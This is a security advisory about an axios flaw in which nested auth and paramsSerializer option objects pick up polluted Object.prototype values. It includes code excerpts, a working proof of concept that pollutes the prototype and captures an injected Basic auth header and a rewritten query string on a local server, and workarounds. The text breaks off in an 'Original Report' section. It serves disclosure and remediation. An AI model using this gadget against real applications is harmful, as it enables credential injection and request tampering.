Axios: Nested axios option objects can consume polluted prototype values
Summary
Axios can consume inherited properties from nested request option objects when the JavaScript process already has a polluted Object.prototype.
The top-level merged config is protected with a null prototype, but nested plain objects such as auth and paramsSerializer are cloned into ordinary objects. If application code passes placeholders such as auth: {} or paramsSerializer: {}, inherited username, password, encode, or serialize properties can influence outbound requests.
Impact
This is reachable only when another component has already polluted Object.prototype and the application passes an affected nested axios option object.
Confirmed impacts include silent injection of an Authorization: Basic ... header from inherited username and password values, and query-string tampering when inherited paramsSerializer fields are function-valued.
The auth case requires only string-valued pollution. Full query-string replacement through paramsSerializer.serialize requires a function-valued pollution primitive; string-only pollution may still cause request failures or encoding changes through encode.
This does not mean every axios request is affected. Requests that do not pass auth, do not pass paramsSerializer, or provide explicit own properties for the relevant nested fields are not affected by this specific gadget.
Affected Functionality
Affected runtime functionality:
- Node HTTP adapter Basic auth handling in
lib/adapters/http.js. - Browser/fetch/XHR Basic auth handling through
lib/helpers/resolveConfig.js. - Query serialization through
lib/helpers/buildURL.js. axios.getUri() when called with an affected paramsSerializer object.
Affected config shapes:
auth: {} or an auth object missing own username and/or password.paramsSerializer: {} or a paramsSerializer object missing own encode and/or serialize.
Unaffected by this specific issue:
- Requests with no
auth property. - Requests with no
paramsSerializer property. - Top-level polluted
auth or paramsSerializer values in current hardened versions.
Technical Details
lib/core/mergeConfig.js creates the top-level merged config with Object.create(null), but nested object cloning still uses ordinary {} containers:
```js
} else if (utils.isPlainObject(source)) {
return utils.merge({}, source);
}
```
Downstream code then reads nested fields without own-property checks.
In lib/helpers/resolveConfig.js:
```js
btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))
```
In lib/adapters/http.js:
```js
const username = configAuth.username || '';
const password = configAuth.password || '';
auth = username + ':' + password;
```
In lib/helpers/buildURL.js:
```js
const _encode = (options && options.encode) || encode;
const serializeFn = _options && _options.serialize;
```
Proof of Concept of Attack
```js
import http from 'node:http';
import axios from './index.js';
const user = 'attacker';
const pass = 'exfil';
Object.defineProperty(Object.prototype, 'username', {
value: user,
configurable: true
});
Object.defineProperty(Object.prototype, 'password', {
value: pass,
configurable: true
});
Object.defineProperty(Object.prototype, 'serialize', {
value: () => 'polluted=1',
configurable: true
});
const server = http.createServer((req, res) => {
res.writeHead(200, { 'content-type': 'application/json' });
res.end(JSON.stringify({
authorization: req.headers.authorization || null,
url: req.url
}));
});
await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve));
try {
const port = server.address().port;
const response = await axios.get(http://127.0.0.1:${port}/demo, {
auth: {},
paramsSerializer: {},
params: { unused: 'ignored' }
});
console.log(response.data);
} finally {
await new Promise((resolve) => server.close(resolve));
delete Object.prototype.username;
delete Object.prototype.password;
delete Object.prototype.serialize;
}
```
Observed result:
```json
{
"authorization": "Basic YXR0YWNrZXI6ZXhmaWw=",
"url": "/demo?polluted=1"
}
```
Workarounds
If upgrading is not yet possible, avoid passing placeholder nested option objects.
Remove auth entirely when Basic auth is not intended. For paramsSerializer objects, provide explicit own encode and serialize properties or remove paramsSerializer when custom serialization is not required.
These workarounds only address this axios gadget. They do not remediate the separate prototype-pollution primitive that must already exist in the application process.
<details>
<summary>Original Report</summary>
Summary
axios 1.16.1 mitigates prototype-pollution gadgets on the top-level request config but not on nested option objects. When a caller passes a partial nested option object such as auth: {} or paramsSerializer:
